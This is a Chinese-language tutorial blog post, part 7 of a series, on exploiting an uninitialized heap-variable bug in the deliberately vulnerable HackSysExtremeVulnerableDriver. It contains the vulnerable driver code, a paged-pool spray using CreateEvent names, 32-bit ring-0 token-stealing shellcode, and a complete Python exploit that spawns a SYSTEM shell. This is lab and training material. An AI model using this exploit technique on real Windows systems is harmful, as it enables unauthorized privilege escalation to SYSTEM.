Windows内核漏洞利用教程Part7:未初始化的堆变量

Author Avatar
leo00000 7月 04, 2018

Windows内核漏洞系列教程。

前言

part6中介绍了未初始化栈变量漏洞,主要可以通过NtMapUserPhysicalPages函数喷射到栈上覆盖了未初始化的栈变量,从而导致后续利用。这一篇文章我们将讨论一个类似的漏洞,未初始化的堆变量。在这篇教程,我们会修改分页池,以便控制流可以指向我们的shellcode。

漏洞分析

先看一下UninitializedHeapVariable.c文件:

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
    ULONG_PTR UserValue = 0;
    ULONG_PTR MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_HEAP_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));

        // Allocate Pool chunk
        UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)ExAllocatePoolWithTag(PagedPool,
            sizeof(UNINITIALIZED_HEAP_VARIABLE),
            (ULONG)POOL_TAG);

        if (!UninitializedHeapVariable) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(UNINITIALIZED_HEAP_VARIABLE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
        }

        // Get the value from user mode
        UserValue = *(PULONG_PTR)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);

        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedHeapVariable->Value = UserValue;
            UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;

            // Fill the buffer with ASCII 'A'
            RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);

            // Null terminate the char buffer
            UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0';
        }
#ifdef SECURE
        else {
            DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);

            // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable'
            // to NULL and checks for NULL pointer before calling the callback

            // Set to NULL to avoid dangling pointer
            UninitializedHeapVariable = NULL;
        }
#else
            // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
            // because the developer is not setting 'Value' & 'Callback' to definite known value
            // before calling the 'Callback'
            DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
#endif

        // Call the callback function
        if (UninitializedHeapVariable) {
            DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
            DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);

            UninitializedHeapVariable->Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

在UninitializedHeapVariable分配分页池pool chunk,当UserValue == MagicValue时对UninitializedHeapVariable进行初始化,随后会调用UninitializedHeapVariable的callback方法,一切正常。但是当UserValue不等于MagicValue时,变量UninitializedHeapVariable并没有被值为NULL,这个时候调用callback会导致漏洞。

再来看一下UninitializedHeapVariable的定义:

typedef struct _UNINITIALIZED_HEAP_VARIABLE {
    ULONG_PTR Value;
    FunctionPointer Callback;
    ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

其中第二个成员变量时callback指针,如果我们能控制pool chunk上的数据,就能够控制UninitializedHeapVariable和callback函数了。

到IDA中看一下:

计算出IOCTL号为0x222033。

漏洞利用

使用之前的脚本框架:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    buf = "\xb0\xb0\xd0\xba"
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

没有异常,修改UserValue的值,再来看一下:

出现异常。如果我们能偶控制pool chunk,就能控制callback指向shellcode了。
part4中我们使用过CreateEvent API:

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

要说明的一点,虽然event对象是分配到了非分页池,但是最后lpName也是分配在分页池中的,而且我们可以定义它的内容和长度。
注意在lpName中不能包含NULL字符,并且不同的对象应该有不同的lpName,如果相同的字符串传递给对象构造函数连续调用的话,只有一个pool chunk将被用于进一步的请求。
我们知道Lookaside链表的最大块长是 0x20, 它只能管理256 个块,之外的块由ListHead负责管理。调用CreateEvent先申请256个0xF0大小的对象,会有对象调用ListHead分配,在偏移0x4处布置shellcode地址,然后释放掉对象,释放掉的对象只是从链表中处理,数据并没有被清理。当再次分配Hack pool chunk的时候可以看到0x4处仍然保留着shellcode的地址,此时调用callback,就能控制程序流了。
我们给lpName分配 0xF0 的大小, 头部大小为 0x8 ,一共是0xF8 字节的块,shellcode来源于之前的教程中。
得到最终的EXP:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    spray_event = []
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    # 定义 ring0级的 shellcode, 使用 VirtualProtect() 函数 该表内存区域属性。c
    # 地址中不能包含Null 字符,否则exp 会失效。 

    shellcode = (
        "\x90\x90\x90\x90"              # NOP Sled
        "\x60"                          # pushad
        "\x64\xA1\x24\x01\x00\x00"      # mov eax, fs:[KTHREAD_OFFSET]
        "\x8B\x40\x50"                  # mov eax, [eax + EPROCESS_OFFSET]
        "\x89\xC1"                      # mov ecx, eax (Current _EPROCESS structure)
        "\x8B\x98\xF8\x00\x00\x00"      # mov ebx, [eax + TOKEN_OFFSET]
        "\xBA\x04\x00\x00\x00"          # mov edx, 4 (SYSTEM PID)
        "\x8B\x80\xB8\x00\x00\x00"      # mov eax, [eax + FLINK_OFFSET]
        "\x2D\xB8\x00\x00\x00"          # sub eax, FLINK_OFFSET
        "\x39\x90\xB4\x00\x00\x00"      # cmp [eax + PID_OFFSET], edx
        "\x75\xED"                      # jnz
        "\x8B\x90\xF8\x00\x00\x00"      # mov edx, [eax + TOKEN_OFFSET]
        "\x89\x91\xF8\x00\x00\x00"      # mov [ecx + TOKEN_OFFSET], edx
        "\x61"                          # popad
        "\xC3"                          # ret
    )

    shellcode_address = id(shellcode) + 20
    shellcode_address_struct = struct.pack("<L", shellcode_address)
    print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address))
    success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long()))
    if success == 0x0:
        print "\t[+] Failed to change memory protection."
        sys.exit(-1)

    #定义 lpName 的静态部分, 大小为 0xF0, 根据 shellcode 的 地址 和 动态部分作出调整。

    static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0xF0-4-4-4)

    # 分配 256 个 相同大小的 CreateEvent 对象

    print "\n[+] Spraying Event Objects..."

    for i in xrange(256):
        dynamic_lpName = str(i).zfill(4)
        spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName)))
        if not spray_event[i]:
            print "\t[+] Failed to allocate Event object."
            sys.exit(-1)

    # 释放 CreateEvent 对象

    print "\n[+] Freeing Event Objects..."

    for i in xrange(0, len(spray_event), 1):
        if not kernel32.CloseHandle(spray_event[i]):
            print "\t[+] Failed to close Event object."
            sys.exit(-1)

    buf = '\x37\x13\xd3\xba'
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)

    print "\n[+] nt authority\system shell incoming"
    Popen("start cmd", shell=True)

if __name__ == "__main__":
    main()

最终获得系统管理员权限。